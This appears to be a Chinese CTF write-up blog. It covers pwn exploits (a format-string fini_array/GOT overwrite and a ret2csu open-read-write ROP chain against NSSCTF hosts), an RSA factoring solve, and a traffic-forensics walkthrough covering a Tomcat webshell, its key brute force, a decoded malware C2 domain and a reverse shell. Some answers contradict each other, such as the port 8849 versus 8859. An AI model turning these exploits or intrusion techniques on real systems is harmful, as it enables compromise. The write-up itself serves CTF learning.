• 这里只记录我复现的和我写的题目,没记录出来的要不然是队友写的要不然是没复现的

初赛

PWN

Just_0nce

  • 拿到附件,先查看保护机制

image-20240920163929034

  • 发现开启了Canary保护机制
  • 然后再使用IDA反编译

image-20240920164010349

  • 发现是格式化字符串漏洞,而且是只能打一次的格式化字符串漏洞
  • 那就直接打fini_array,第一次先改printf的got表为system的plt,改fini_arraymain_adrr,这样就可以执行两次main函数
  • fini_array的地址在IDA中使用CTRL + S,会跳出界面,跳出来后就可以看到了

image-20240920191036360

  • 第二次再传入字符串/bin/sh这样就可以得到shell
  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch = 'amd64',log_level='debug')
#p = process('./attachment')
p = remote('node8.anna.nssctf.cn',21181)
#elf = ELF('./attachment')
#rop = ROP('./attachment')
main_adrr = 0x401366
printf_got = 0x4033F0
system_plt = 0x4010C0
fini_array = 0x4031D8
dofunc = 0x40127E
payload = fmtstr_payload(6, {fini_array :dofunc , printf_got:system_plt})
p.sendafter(b'input:\n',payload)
p.sendafter(b'input:\n',b"/bin/sh\x00")
p.interactive()

复现flagNSSCTF{51461c79-beac-49e4-bfd0-fea257d1b20f}

image-20240920180724276

Ez__PWN

  • 先查看保护机制,发现就开了个NX保护

image-20240920164624426

  • 然后再使用IDA反编译查看一下代码,发现开了沙箱,猜测是orw

image-20240920164711325

  • 在查看dofunc里面的函数,看到里面有栈溢出

image-20240920164737882

  • 一开始以为是ret2libc,看到沙箱后是orw,而且在进行orw前还要泄露libc的地址,以便获取open的地址
  • 现在先查看一下沙箱,使用seccomp-tools查看,果然只有open、read、write,但是open是允许openat,如果是允许open的话是要用Syscall的

image-20240920165122384

  • 先泄露libc,libc版本可以去libc-database这里面找,再进行orw,进行orw的时候,要先写入open的got表在bss段才能进行调用,注意一些open传入open的三个参数,还有注意fd文件说明符,0x0是标准输入,0x1是标准输出,0x2是标准错误,所以open打开的文件描述符是0x3,open的第三个参数256是表示文件被打开为只读和只写的组合(这里尝试过只读0x0调用,但是没成功)
  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(log_level='debug')
p = remote('node8.anna.nssctf.cn',20367)
#p = process('./ezpwn')
#gdb.attach(p)
ret = 0x4006ce
pop_rdi = 0x400a13
read_got = 0x601040
write_got = 0x601028
syscall_offset = 0x118940
pop_rbx_rbp_r12 = 0x400A0A
bss_addr = 0x601060+0x200
dofunc = 0x400921
mov_rdx = 0x4009F0
pop_rsi_r15 = 0x400a11
print_got = 0x601038
read_offset = 0x10e1e0

payload = b'A'*0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(0x400720)+p64(ret)+p64(dofunc)
p.sendlineafter(b'input name:',payload)
read_addr = p.recvuntil(b'\x40')
read_addr = p.recv()
read_addr = p.recv()[:6]
print('read_addr ------>', read_addr)
read_addr = int.from_bytes(read_addr,byteorder='little')
libc_addr = read_addr - read_offset
open_addr = libc_addr + 0x10DF00
payload1 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(read_got)
payload1+=p64(0x0)+ p64(bss_addr)+p64(0x20)+p64(mov_rdx) +p64(0xdeaddeff)
payload1+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)
payload1+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc)
p.sendline(payload1)
p.send(b'./flag\x00\x00'+p64(open_addr))
#pause()
payload2 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(bss_addr+0x8)
payload2+=p64(bss_addr)+ p64(0x00)+p64(256)+p64(mov_rdx) +p64(0xdeaddeff)
payload2+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)
payload2+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc)
p.sendlineafter(b'input name:',payload2)

#pause()
payload3 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(read_got)
payload3+=p64(0x03)+ p64(bss_addr+0x100)+p64(0x100)+p64(mov_rdx) +p64(0xdeaddeff)
payload3+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)
payload3+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc)
p.sendlineafter(b'input name:',payload3)
#pause()
payload4 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(write_got)
payload4+=p64(0x01)+ p64(bss_addr+0x100)+p64(0x100)+p64(mov_rdx) +p64(0xdeaddeff)
payload4+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)
payload4+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc)
p.sendlineafter(b'input name:',payload4)
p.interactive()

复现flagNSSCTF{5c4794ae-547e-47c2-842f-0441bd494802}

image-20240920180447222

CRYPTO

ez_fermat

  • 简单的n分解

  • 题目附件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(813)
n = p * q
d = p
e = inverse(d, (p-1)*(q-1))
flag = b'NSSCTF{test_flag}'
m = bytes_to_long(flag)

print(n)
print()
print(e)
print()
print(pow(m, e, n))
'''
3904054379768621006670325403570678966655298185942026071119847032293541155818374237757771677885218395571231995625009566193044227004214661252741440763224075564545575267406326084344024197161667257443366163987563451174836819677982948383967049594961135059796888603091106117040559333549933923156522162926214187395074971581109581699786654634096916190024297067217856502521108656019066292650847674105723870976455422998577177791829507752873186832882421485628003948270492309102429874674621180956748281541598316433735992507502375267828628254040129556944239703219983

3346908455447174070992347616941127803725226412626643481301959623252314393488983877743239835001359838967907152394787518896740138558902876270534420306764838402995141451795721684856954259250045263865518237097216558225597879130005447703355004165638668981119439658709484546611239237700677748062521167324245405513546072909746940831890185954341722008854937777778339786187857409646068034455661780649005707291091511164030224458109751999287771088477121459794784223018351072171477613383398898036040202088356029117418211176259340287391200019380649219787316637601225

2297172673207318067644454311791059052521405524072070001463617943081937620680287073877519555417893924987805372814004437226029332185689205902364556330396100859963867726856821821201929153299863158902425114650689181400700850662495351899097507167512372167222348638943031627163322963150031484905075884684966357856735997039021272911282595603222713567742142545540368250995582560658624441813641267178033998653769097632742521154569310435572740012678651074392991522280691458449892215626597146075598152312643598829814235896873342805258450617148747956353285414172796'''

  • 推导过程如下:这边要注意一点,需要比较深刻的理解RSA加密和欧拉定理。
  • 欧拉定理如下:

a,mN+,且gcd(a,m)=1,则公式有:aϕ(m)1(mod m)\begin{array}{l} 设a,m∈N_+,且gcd(a,m)=1,则公式有: a^{\phi(m)}\equiv 1 (mod~m) \end{array}

  • 还涉及到同余的两个定理,第一个同余的定理

ab(mod m),dm,d>0,则ab(mod d)\begin{array}{l} 若a\equiv b(mod~m),d\mid m,d>0,则a\equiv b(mod ~d) \end{array}

  • 第二个同余的定理:

ab(mod m),(a,m)=(b,m)因而若d能整除ma,b二数之一,d必能整除a,b中的另一个。\begin{array}{l} 若a\equiv b(mod~m),则(a,m)=(b,m)因而若d能整除m及a,b二数之一,则d必能整除a,b中的另一个。 \end{array}

  • 这里还用到了费马小定理:

p是质数,而整数a不是p的倍数,则有ap11(mod p)\begin{array}{l} 若p是质数,而整数a不是p的倍数,则有a^{p-1}\equiv1(mod~p) \end{array}

  • 通过读题目条件,我们已知:

cme(mod n)eped1(mod ϕ(n))已知cenc\equiv m^e(mod~n)\\ ep \equiv ed \equiv 1(mod ~\phi(n))\\ 已知c、e、n

  • 推导过程如下:

\begin{array}{l} 由RSA加密中c \equiv m^e(mod~n),如果想恢复m,这需要使用私钥d,而这里的私钥d即为p\\ 因为ed在模\phi(n)的情况下是互为逆元的,即ep \equiv ed \equiv 1(mod ~\phi(n))\\ 由欧拉定理可以得到gcd(2,n)=1,即有2^{\phi(n)}\equiv 1(mod~n)\\ 即这边有2^{\phi(n)}\equiv2^0(mod~n),同时ep\equiv1(mod~\phi(n))\\ 所以ep=k\phi(n)+1\\ 所以2^{ep}\equiv2^{k\phi(n)+1}\equiv2^1(2^{\phi(n)})^k\equiv2^1(mod~n)\\ 因为p\mid n,由上方的同余定理可得2^{ep}\equiv 2(mod~p)\\ 将该式变形成为2^{e(p-1)}2^e\equiv2(mod ~p)\\ 由费马小定理得2^{(p-1)*e}\equiv1^e(mod~p)\\ \begin{equation} \left\{ \begin{aligned} 2^{(p-1)e}2^e\equiv2(mod ~p) \\ 2^{(p-1)*e}\equiv1^e(mod~p) \end{aligned} \right. \end{equation} \\ 联立俩个式子得到2^e\equiv 2(mod~p)\\ 所以有2^e-2 \equiv0(mod~p)\\ 即p\mid(2^e-2),同时p\mid n\\ 所以gcd(n,2^e-2)=p\\所以p就可以求出来了,求出来之后就可以求m了\\ 在写脚本的时候尝试求gcd(n,2^e-2),但是很大求不出来\\ 这时就考虑使用模一个n,使其仍在是p的整数倍,但是结果更容易求 利用2^e-2=k*p\\ 所以2^e-2\equiv k*p(mod~n)\\ 利用第二个同余定理就可以得到(应该是有用上)p=gcd(2^e-2(mod~n),n)\\ 即m = c^p(mod~n) \end{array}

  • exp如下:
1
2
3
4
5
6
7
8
9
import libnum
import gmpy2

n = 3904054379768621006670325403570678966655298185942026071119847032293541155818374237757771677885218395571231995625009566193044227004214661252741440763224075564545575267406326084344024197161667257443366163987563451174836819677982948383967049594961135059796888603091106117040559333549933923156522162926214187395074971581109581699786654634096916190024297067217856502521108656019066292650847674105723870976455422998577177791829507752873186832882421485628003948270492309102429874674621180956748281541598316433735992507502375267828628254040129556944239703219983
e = 3346908455447174070992347616941127803725226412626643481301959623252314393488983877743239835001359838967907152394787518896740138558902876270534420306764838402995141451795721684856954259250045263865518237097216558225597879130005447703355004165638668981119439658709484546611239237700677748062521167324245405513546072909746940831890185954341722008854937777778339786187857409646068034455661780649005707291091511164030224458109751999287771088477121459794784223018351072171477613383398898036040202088356029117418211176259340287391200019380649219787316637601225
c = 2297172673207318067644454311791059052521405524072070001463617943081937620680287073877519555417893924987805372814004437226029332185689205902364556330396100859963867726856821821201929153299863158902425114650689181400700850662495351899097507167512372167222348638943031627163322963150031484905075884684966357856735997039021272911282595603222713567742142545540368250995582560658624441813641267178033998653769097632742521154569310435572740012678651074392991522280691458449892215626597146075598152312643598829814235896873342805258450617148747956353285414172796
p = gmpy2.gcd(pow(2,e,n)-2,n)
print(libnum.n2s(int(pow(c,p,n))))
# b'NSSCTF{S0_E@z6_feRM@T_padpadpading}'

决赛

溯源取证

  • 题目背景与规则:

题目背景

  • 作为一名溯源专家,你被邀请到某公司进行溯源工作。该公司的一台服务器被黑客组织攻击,且由于更改了root密码导致无法进行登录,好在存储在另一台服务器上的流量包捕获到了这一切。现在,请你在有限的120分钟时间内,分析这个流量包,并且回溯出一个完整的攻击流程。

解题规则

  • 本次溯源挑战部分共设置了10道问题
  • 请注意,每道问题仅有3次回答的机会,请严格按照平台给出的答案范例作答
  • 根据题目难度的不同,每道题目的分值划分为50-250分不等,满分1500分
  • 若比赛结束后,在第1题与你解出的最后一题之间存在未解出的题目,则要扣除这些未解出的题目50%的分值。例如,你的队伍完成了1-5题和第8题,那么在第1题与最后一题之间你的队伍未完成6、7两题,则你的队伍的最终得分需要减去6、7两题分数和的50%
  • 本次溯源挑战赛共占决赛分值的40%
  • 题目:
  1. 题目描述:请问哪些ip对受害主机发起了攻击?提交的答案根据D段从小到大排序并用逗号隔开,例如192.168.1.1,192.168.1.2
  2. 题目描述:攻击者使用了nmap扫描器进行端口扫描,请问被害者主机开放了哪些端口?提交的答案从小到大排序并用逗号隔开,例如8000,8888,9999,10000
  3. 题目描述:攻击者使用一组账号和密码登录进了中间件的后台,请问这一组账号和密码是什么?提交的答案用斜杠隔开,前面是账号后面是密码,例如admin/admin123
  4. 题目描述:攻击者登录成功后上传了一个webshell,请问这个webshell的绝对路径是什么?
  5. 题目描述:你现在找到了这个webshell,你能获取到这个webshell的key是什么吗?注意,这个key是一个6位的纯数字
  6. 题目描述:除了这个webshell,攻击者还一起上传了一个恶意文件,你可以找到这个恶意文件的通信地址吗?注意,这个通信地址是一个域名
  7. 题目描述:攻击者随后连接了被害主机的数据库,你可以找到攻击者是用哪一组账号密码登录的吗?提交的答案用斜杠隔开,前面是账号后面是密码,例如admin/admin123
  8. 题目描述:攻击者在数据库中找到了一个重要的数据,这个重要数据是什么?请直接回答这个重要数据的内容
  9. 题目描述:攻击者为了进一步的操作,进行了一次反弹shell的操作,请问攻击者将shell反弹到了哪一个端口上?
  10. 题目描述:最后,攻击者修改了root用户的口令,请问修改后的root用户的口令是什么?

题目1

  • 我们先来查看一下协议分级,看看有多少协议,发现还有数据库的流量协议

image-20250308224405520

  • 先使用统计会话功能,查看这个流量包中的存在多少ip,发现存在如下IP:
1
2
3
4
5
6
7
8
9
10
11
12
5.79.108.34
151.101,129.91

192.168.252.1
192.168.252.129
192.168.252.132
192.168.252.136
192.168.252.255

239.255.255.250
244.0.0.251

image-20250308223826946

  • 接下来我们通过具体的追踪流,来看看哪些ip的客户机对被害机发起了攻击,我们在追踪流的时候发现192.168.252.136这个计算机的mysql被动过,并且发过协议,可以确定该ip为被害机。
  • 从而可以确定192.168.252.1这个ip是攻击者

image-20250308224959571

  • 接下来再来查看其他ip,可以得到如下结果

image-20250308225905485

1
2
3
4
5
6
7
8
9
10
11
5.79.108.34(无害)
151.101,129.91(无)

192.168.252.1(攻击)
192.168.252.129(发现获取了权限)
192.168.252.132(对被害机进行文件扫描)
192.168.252.136(被害)
192.168.252.255(广播)

239.255.255.250(无)
244.0.0.251(无)
  • 但是D1ip是网关,所以.1这个ip并不是攻击ip,所以答案如下

  • 所以答案为:

1
192.168.252.129,192.168.252.132

题目2

  • 我们就直接查看出现的端口,发现被害的ip开启了这些端口:
1
22、3306、8080、5353、38904、50196、50300、52783

image-20250309092631820

image-20250309092726469

  • 但是这题问的应该是被攻击者扫到的端口,所以答案应该是:
1
22,3306,8080

题目3

  • 这时我们先过滤,攻击者的ip,确定登录的攻击者。我们发现这个攻击的ip,这时我们就可以排除这个ip,流量包少,而且也没登录。

image-20250309095214506

  • 这时我们再查看这个ip,发现这个ip很有可能进行中间件登录

image-20250309095355744

  • 这时我们进行分组

image-20250309095434984

  • 然后直接提取

image-20250309095525079

image-20250309095542824

  • 导出之后我们追踪流,会发现,这边可能进行文件上传,在这之前可能会登录中间件

image-20250309095718634

  • 往前面找后就会发现

image-20250309095820054

  • 解码后就会出现
1
tomcat:1qaz@WSX

image-20250309095855644

  • 所以答案:
1
tomcat/1qaz@WSX

题目4

  • 这个时候我们就可以在我们分组的流量包中进行分析,追踪流查看登录后的文件上传的,发现这个可能是一个马

image-20250309100206682

  • /t3st/index.jsp是启动服务的相对路径,这时我们还要寻找信息,看看能不能得到绝对路径,之前我们得到了黑客登录了中间件,所以是往中间件这边的路径。
  • 之前我们查看到另一个ip有绝对路径

image-20250309100925566

  • 再结合ls得到的文件,可以得到webapps

image-20250309101155130

  • 所以得到答案:
1
/usr/share/tomcat/webapp/t3st/index.jsp

题目5

  • 根据题目5这时我们就要提取webshell,由于是jsp文件后缀,我们就可以猜测是哥斯拉
  • 这时我们再查看一下流量包

image-20250309105311088

  • 发现上图流量包的上方有一个压缩包

image-20250309105337755

  • 我们之间提取这个压缩包:

image-20250309105427012

  • 直接解压并打开index.jsp,这个我们发现8a1e94c07e3fb7d5是连接密码经过32位md5值计算后得到的md5值的前16

image-20250309105457910

  • 这时我们就需要爆破这个密文,根据提示,密码是6位纯数字
1
2
3
4
5
6
7
8
9
10
11
import hashlib

target = "8a1e94c07e3fb7d5"

for i in range(1000000): # 假设6位数字密码
candidate = f"{i:06}"
hashed = hashlib.md5(candidate.encode()).hexdigest()[:16] # 截取前16位
if hashed == target:
print(f"找到密码: {candidate}")
break
# 810975
  • 答案是:
1
810975

题目6

  • 翻了其他半天的流量没找到这题,之后看wp发现就在上一题的压缩包值,名为mal的文件。

image-20250309120656499

  • 这个文件是linux下的二进制文件,所以我们要进行逆向分析

image-20250309120704284

  • 我们查看到sub_400EAB这个函数就会发现有一个名为gethostbyname()这个函数,这个函数就是Linux网络编程中用于域名解析的函数
  • 这个函数会传递一个指向域名字符串的指针。

image-20250309120948632

  • 所以我们name就存储着域名,接下来我们看上面的代码发现,v7name之间有发生操作。我们发现v7name有逐字节进行^0x39

image-20250309121150006

  • 并且得到sub_400B3E这个函数是进行base64解密,所以我们就可以得到VQlPCnRQUkwXVEtVDw0XWlZU要先进行base64解密后再与0x39进行异或才能得到正确的域名

image-20250309121411021

  • 答案如下:
1
l0v3Miku.mrl64.com

题目7

  • 这时我们就要分析上传的文件
  • 这时我们导出HTTP对象就会发现有如下这些index.jsp文件

image-20250309122746053

  • 我们导出index.jsp文件,会发现这个index.jsp中存储的是base64编码

image-20250309122002930

  • 但是解密后是乱码

image-20250309122031766

  • 这时我们就会想到,是之前发送的index.jsp中存在着javaAES加密代码将这个数据进行了加密。所以我们就将这些密文进行解密
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
import base64

# AES 密钥(16字节)
key = b"8a1e94c07e3fb7d5"

# 加密的数据 (Base64 编码字符串)
encrypted_data = ""
encrypted_bytes = base64.b64decode(encrypted_data)

# 创建 AES ECB 解密器
cipher = AES.new(key, AES.MODE_ECB)
  • 在解密到这个文件的时候就会得到连接mysql的密码

image-20250309122838772

  • 解密后得到:

image-20250309122850878

  • base64解码后得到:

image-20250309122909342

  • 之后就翻找mysql协议,发现登录用户是root

image-20250309123050177

  • 答案:
1
root/n1cep4Ss

题目8

  • 接下来我们就要分析mysql的协议了,我们就直接导出mysql协议流量包,单独分析
  • 没学数据库,只能看wp了,这边直接搜索select字符串,就可以找到这个字符串了,注意一定要整个对话查询,否则查询不出来

image-20250309125109320

  • 所以答案:
1
Th1s_1s_Imp0Rt4Nt_D4Ta

题目9

  • 我们在题目1中有分析得到192.168.252.129获取了权限,所以反弹shell,反弹到了这个ip然后就可以查找会话,查看端口
  • 就可以发现8849端口

image-20250309130144117

  • 答案如下!:
1
8859

题目10

  • 最后我们追踪这个反弹shell的TCP流可以发现

image-20250309130304249

  • base64解密后就会发现,这个是一个加密后的密文

image-20250309130338967

  • 我们使用hashcat爆破这个密码,爆破得到

image-20250309130943978

1
101074@1274park

flag

1
2
3
4
5
6
7
8
9
10
1. 192.168.252.129,192.168.252.132
2. 22,3306,8080
3. tomcat/1qaz@WSX
4. /usr/local/tomcat/webapps/t3st/index.jsp
5. 810975
6. l0v3Miku.mrl64.com
7. root/n1cep4Ss
8. Th1s_1s_Imp0Rt4Nt_D4Ta
9. 8849
10. 101074@1274park

PWN

水果忍者(复现)

  • 考的是httpd的题目,复现完单独写了个博客(处于加密状态),这里就不再写了

A Study in Scarlet

  • 考的是CSTL的pwn,STL全称为(Standard Template Library,标准模板库),我还没学过C,但是有点Java基础和C的基础可以试试

MISC

Algorithm(复现)

  • 算法+pwntools的使用
  • pwntools会用,但是不会算法,用AI跑的算法会出错QAQ,Pwntools接收过程先不给出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(log_level='debug')
p = remote('node4.anna.nssctf.cn',28804)
p.recvuntil(b'Mode:')
p.sendline(b'1')

def change2U(s):
N = len(s)
k, n2 = 0, 0
for i in range(3, N):
if (N - i) % 2 != 0:
continue
k = (N + 2 - i) // 2
if k <= i:
n2 = N + 2 - 2 * k
break
result = []
for idx in range(k - 1):
result.append(s[idx] + '@' + str(n2 - 2) + '@' + s[N - idx - 1])
result.append(s[k - 1:k - 1 + n2])
output = '|'.join(result)
return output

a = p.recvuntil(b'Your')[:-5]
output = change2U(a.decode('utf-8'))
p.sendlineafter(b'answer:>', output.encode('utf-8'))
for i in range(98):
p.recvuntil(b'Right!\n')
a = p.recvuntil(b'\n')[:-1]
print(a)
output = change2U(a.decode('utf-8'))
p.sendlineafter(b'answer:>',output.encode('utf-8'))
p.recvuntil(b'Right!\n')
a = p.recvuntil(b'\n')[:-1]
print(a)
output = change2U(a.decode('utf-8'))
p.sendlineafter(b'answer:>',output.encode('utf-8'))
a = p.recv()
print(a)
p.interactive()